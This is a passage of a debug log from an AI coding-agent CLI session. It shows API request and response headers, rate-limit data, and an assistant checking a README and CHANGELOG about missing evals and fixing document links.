\"seven_day\",\n[2026-09-29T08:03:49.675Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:49.678Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:49.689Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:49.699Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:49.708Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:49.713Z] [STDOUT]     \"cf-ray\": \"a4297935d8ac5d90-FRA\",\n[2026-09-29T08:03:49.722Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:49.737Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:49.745Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:49.750Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:49.754Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:49 GMT\",\n[2026-09-29T08:03:49.761Z] [STDOUT]     \"request-id\": \"req_011CfXPA8zGVFSho7Tiv3mHK\",\n[2026-09-29T08:03:49.768Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:49.773Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:49.777Z] [STDOUT]     traceresponse: \"00-f115b4f0cf50022764692d9eb4fdd887-eaaf26350dbbc40d-01\",\n[2026-09-29T08:03:49.782Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:49.787Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:49.791Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:49.793Z] [STDOUT]   },\n[2026-09-29T08:03:49.798Z] [STDOUT]   durationMs: 813,\n[2026-09-29T08:03:49.801Z] [STDOUT] }\n[2026-09-29T08:03:49.809Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:49.812Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:49 GMT\",\n[2026-09-29T08:03:49.836Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:49.839Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:49.848Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:49.863Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:49.868Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:49.873Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:49.879Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:49.885Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:49.888Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:49.894Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:49.896Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:49.900Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:49.903Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:49.905Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:49.907Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:49.909Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:49.920Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:49.923Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:49.931Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:49.935Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:49.938Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:49.941Z] [STDOUT]   \"request-id\": \"req_011CfXPA8zGVFSho7Tiv3mHK\",\n[2026-09-29T08:03:49.944Z] [STDOUT]   \"traceresponse\": \"00-f115b4f0cf50022764692d9eb4fdd887-eaaf26350dbbc40d-01\",\n[2026-09-29T08:03:49.951Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:49.956Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:49.960Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:49.962Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:49.963Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:49.965Z] [STDOUT]   \"cf-ray\": \"a4297935d8ac5d90-FRA\",\n[2026-09-29T08:03:49.967Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:49.969Z] [STDOUT] [log_d992cf] response parsed {\n[2026-09-29T08:03:49.971Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:49.973Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:49.974Z] [STDOUT]   body: X {\n[2026-09-29T08:03:49.976Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:49.978Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:49.980Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:49.982Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:49.983Z] [STDOUT]     },\n[2026-09-29T08:03:49.986Z] [STDOUT]     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\"subtype\": \"thinking_tokens\",\n[2026-09-29T08:03:51.022Z] [INFO]   \"estimated_tokens\": 210,\n[2026-09-29T08:03:51.022Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:03:51.022Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:51.022Z] [INFO]   \"uuid\": \"fcb20328-8584-4bf9-9da8-ab18607ae718\"\n[2026-09-29T08:03:51.022Z] [INFO] }\n[2026-09-29T08:03:51.040Z] [INFO] {\n[2026-09-29T08:03:51.040Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:51.040Z] [INFO]   \"message\": {\n[2026-09-29T08:03:51.040Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:51.040Z] [INFO]     \"id\": \"msg_011CfXPA9TYJdBC8ZRi2SAJZ\",\n[2026-09-29T08:03:51.040Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:51.040Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:51.040Z] [INFO]     \"content\": [\n[2026-09-29T08:03:51.040Z] [INFO]       {\n[2026-09-29T08:03:51.040Z] [INFO]         \"type\": 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[INFO]       }\n[2026-09-29T08:03:51.040Z] [INFO]     ],\n[2026-09-29T08:03:51.040Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:51.040Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:51.040Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:51.040Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:51.040Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:51.040Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:51.040Z] [INFO]       \"cache_creation_input_tokens\": 923,\n[2026-09-29T08:03:51.040Z] [INFO]       \"cache_read_input_tokens\": 96312,\n[2026-09-29T08:03:51.040Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:51.040Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:51.040Z] [INFO]         \"ephemeral_1h_input_tokens\": 923\n[2026-09-29T08:03:51.040Z] [INFO]       },\n[2026-09-29T08:03:51.040Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T08:03:51.040Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:51.040Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:51.040Z] [INFO]     },\n[2026-09-29T08:03:51.040Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:51.040Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:51.040Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:51.040Z] [INFO]   },\n[2026-09-29T08:03:51.040Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:51.040Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:51.040Z] [INFO]   \"uuid\": \"87e7f14c-d28d-495a-bb4f-f0a488cea992\",\n[2026-09-29T08:03:51.040Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:51.016Z\",\n[2026-09-29T08:03:51.040Z] [INFO]   \"request_id\": \"req_011CfXPA8zGVFSho7Tiv3mHK\"\n[2026-09-29T08:03:51.040Z] [INFO] }\n[2026-09-29T08:03:51.048Z] [INFO] {\n[2026-09-29T08:03:51.048Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:51.048Z] [INFO]   \"message\": {\n[2026-09-29T08:03:51.048Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:51.048Z] [INFO]     \"id\": \"msg_011CfXPA9TYJdBC8ZRi2SAJZ\",\n[2026-09-29T08:03:51.048Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:51.048Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:51.048Z] [INFO]     \"content\": [\n[2026-09-29T08:03:51.048Z] [INFO]       {\n[2026-09-29T08:03:51.048Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:03:51.048Z] [INFO]         \"text\": \"The CHANGELOG supports neither the 23-file split nor the \\\"no evals\\\" statement, since the summary says the README says that. I'll confirm and repoint the links in both documents.\"\n[2026-09-29T08:03:51.048Z] [INFO]       }\n[2026-09-29T08:03:51.048Z] [INFO]     ],\n[2026-09-29T08:03:51.048Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:51.048Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:51.048Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:51.048Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:51.048Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:51.048Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:51.048Z] [INFO]       \"cache_creation_input_tokens\": 923,\n[2026-09-29T08:03:51.048Z] [INFO]       \"cache_read_input_tokens\": 96312,\n[2026-09-29T08:03:51.048Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:51.048Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:51.048Z] [INFO]         \"ephemeral_1h_input_tokens\": 923\n[2026-09-29T08:03:51.048Z] [INFO]       },\n[2026-09-29T08:03:51.048Z] [INFO]       \"output_tokens\": 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\"Confirm evals statement in mango_ba_prompts README\"\n[2026-09-29T08:03:52.298Z] [INFO]         },\n[2026-09-29T08:03:52.298Z] [INFO]         \"caller\": {\n[2026-09-29T08:03:52.298Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:03:52.298Z] [INFO]         }\n[2026-09-29T08:03:52.298Z] [INFO]       }\n[2026-09-29T08:03:52.298Z] [INFO]     ],\n[2026-09-29T08:03:52.298Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:52.298Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:52.298Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:52.298Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:52.298Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:52.298Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:52.298Z] [INFO]       \"cache_creation_input_tokens\": 923,\n[2026-09-29T08:03:52.298Z] [INFO]       \"cache_read_input_tokens\": 96312,\n[2026-09-29T08:03:52.298Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:52.298Z] [INFO]         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{\n[2026-09-29T08:03:54.624Z] [INFO]         \"tool_use_id\": \"toolu_014Js1KWknWAJ5G9U8oChXFV\",\n[2026-09-29T08:03:54.624Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:03:54.624Z] [INFO]         \"content\": \"46:> \u0447\u0435\u043a-\u043b\u0438\u0441\u0442, evals-\u043c\u0435\u0442\u0440\u0438\u043a\u0443 \u0438\u043b\u0438 human-in-the-loop gate.\\n50:**evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442** \u2014 \u043f\u0440\u043e\u0431\u0435\u043b \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0447\u0435\u0441\u0442\u043d\u043e \u0432\",\n[2026-09-29T08:03:54.624Z] [INFO]         \"is_error\": false\n[2026-09-29T08:03:54.624Z] [INFO]       }\n[2026-09-29T08:03:54.624Z] [INFO]     ]\n[2026-09-29T08:03:54.624Z] [INFO]   },\n[2026-09-29T08:03:54.624Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:54.624Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:54.624Z] [INFO]   \"uuid\": \"831d305d-2640-40d2-893e-a9023e82b3ab\",\n[2026-09-29T08:03:54.624Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:54.615Z\",\n[2026-09-29T08:03:54.624Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:03:54.624Z] [INFO]     \"stdout\": \"46:> \u0447\u0435\u043a-\u043b\u0438\u0441\u0442, evals-\u043c\u0435\u0442\u0440\u0438\u043a\u0443 \u0438\u043b\u0438 human-in-the-loop gate.\\n50:**evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442** \u2014 \u043f\u0440\u043e\u0431\u0435\u043b \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0447\u0435\u0441\u0442\u043d\u043e \u0432\",\n[2026-09-29T08:03:54.624Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:03:54.624Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:03:54.624Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:03:54.624Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:03:54.624Z] [INFO]   }\n[2026-09-29T08:03:54.624Z] [INFO] }\n[2026-09-29T08:03:54.707Z] [STDOUT] [log_83262d] sending request {\n[2026-09-29T08:03:54.715Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:03:54.729Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:54.734Z] [STDOUT]   options: {\n[2026-09-29T08:03:54.736Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:03:54.740Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:03:54.745Z] [STDOUT]     body: {\n[2026-09-29T08:03:54.753Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:03:54.756Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:03:54.761Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:03:54.764Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:03:54.766Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:03:54.768Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:03:54.770Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:03:54.773Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:03:54.778Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:03:54.783Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:03:54.789Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:03:54.792Z] [STDOUT]       stream: true,\n[2026-09-29T08:03:54.796Z] [STDOUT]     },\n[2026-09-29T08:03:54.800Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:03:54.802Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:03:54.807Z] [STDOUT]       aborted: false,\n[2026-09-29T08:03:54.810Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:03:54.814Z] [STDOUT]       onabort: null,\n[2026-09-29T08:03:54.819Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:03:54.826Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:03:54.828Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:03:54.830Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:03:54.832Z] [STDOUT]     },\n[2026-09-29T08:03:54.834Z] [STDOUT]     stream: true,\n[2026-09-29T08:03:54.836Z] [STDOUT]   },\n[2026-09-29T08:03:54.842Z] [STDOUT]   headers: {\n[2026-09-29T08:03:54.847Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:03:54.850Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:54.853Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:54.856Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:54.858Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:54.860Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:54.862Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:54.864Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:03:54.866Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:03:54.868Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2278\",\n[2026-09-29T08:03:54.870Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:03:54.872Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:03:54.874Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:54.876Z] [STDOUT]     \"x-client-request-id\": \"eaa1a3fa-8248-4606-b491-8851ba37e45e\",\n[2026-09-29T08:03:54.878Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:03:54.880Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:03:54.882Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:03:54.884Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:03:54.886Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:54.888Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:54.890Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:54.894Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:54.896Z] [STDOUT]   },\n[2026-09-29T08:03:54.905Z] [STDOUT] }\n[2026-09-29T08:03:55.599Z] [STDOUT] [log_83262d, request-id: \"req_011CfXPAaKGFjw5a2oj5oVck\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 866ms\n[2026-09-29T08:03:55.602Z] [STDOUT] [log_83262d] response start {\n[2026-09-29T08:03:55.609Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:55.612Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:55.615Z] [STDOUT]   headers: {\n[2026-09-29T08:03:55.619Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:55.622Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:55.625Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:55.627Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:55.639Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:55.643Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:55.655Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:55.660Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:55.669Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:55.674Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:55.676Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:55.679Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:55.685Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:55.688Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:55.690Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:55.692Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:55.694Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:55.697Z] [STDOUT]     \"cf-ray\": \"a429795afdb55d90-FRA\",\n[2026-09-29T08:03:55.699Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:55.701Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:55.704Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:55.707Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:55.709Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:55 GMT\",\n[2026-09-29T08:03:55.712Z] [STDOUT]     \"request-id\": \"req_011CfXPAaKGFjw5a2oj5oVck\",\n[2026-09-29T08:03:55.716Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:55.719Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:55.721Z] [STDOUT]     traceresponse: \"00-da212e9f6f71584fb01836a5509a5e7b-2a32ede0f4e64e89-01\",\n[2026-09-29T08:03:55.724Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:55.726Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:55.729Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:55.732Z] [STDOUT]   },\n[2026-09-29T08:03:55.737Z] [STDOUT]   durationMs: 866,\n[2026-09-29T08:03:55.740Z] [STDOUT] }\n[2026-09-29T08:03:55.743Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:55.747Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:55 GMT\",\n[2026-09-29T08:03:55.758Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:55.765Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:55.769Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:55.781Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:55.784Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:55.787Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:55.790Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:55.795Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:55.799Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:55.804Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:55.807Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:55.815Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:55.819Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:55.823Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:55.827Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:55.838Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:55.842Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:55.845Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:55.847Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:55.851Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:55.855Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:55.861Z] [STDOUT]   \"request-id\": \"req_011CfXPAaKGFjw5a2oj5oVck\",\n[2026-09-29T08:03:55.865Z] [STDOUT]   \"traceresponse\": \"00-da212e9f6f71584fb01836a5509a5e7b-2a32ede0f4e64e89-01\",\n[2026-09-29T08:03:55.872Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:55.875Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:55.882Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:55.884Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:55.889Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:55.894Z] [STDOUT]   \"cf-ray\": \"a429795afdb55d90-FRA\",\n[2026-09-29T08:03:55.897Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:55.901Z] [STDOUT] [log_83262d] response parsed {\n[2026-09-29T08:03:55.903Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:55.906Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:55.907Z] [STDOUT]   body: X {\n[2026-09-29T08:03:55.909Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:55.911Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:55.913Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:55.916Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:55.918Z] [STDOUT]     },\n[2026-09-29T08:03:55.920Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:55.921Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:55.925Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:03:55.927Z] [STDOUT]   },\n[2026-09-29T08:03:55.929Z] [STDOUT]   durationMs: 872,\n[2026-09-29T08:03:55.931Z] [STDOUT] }\n[2026-09-29T08:04:01.051Z] [INFO] {\n[2026-09-29T08:04:01.051Z] 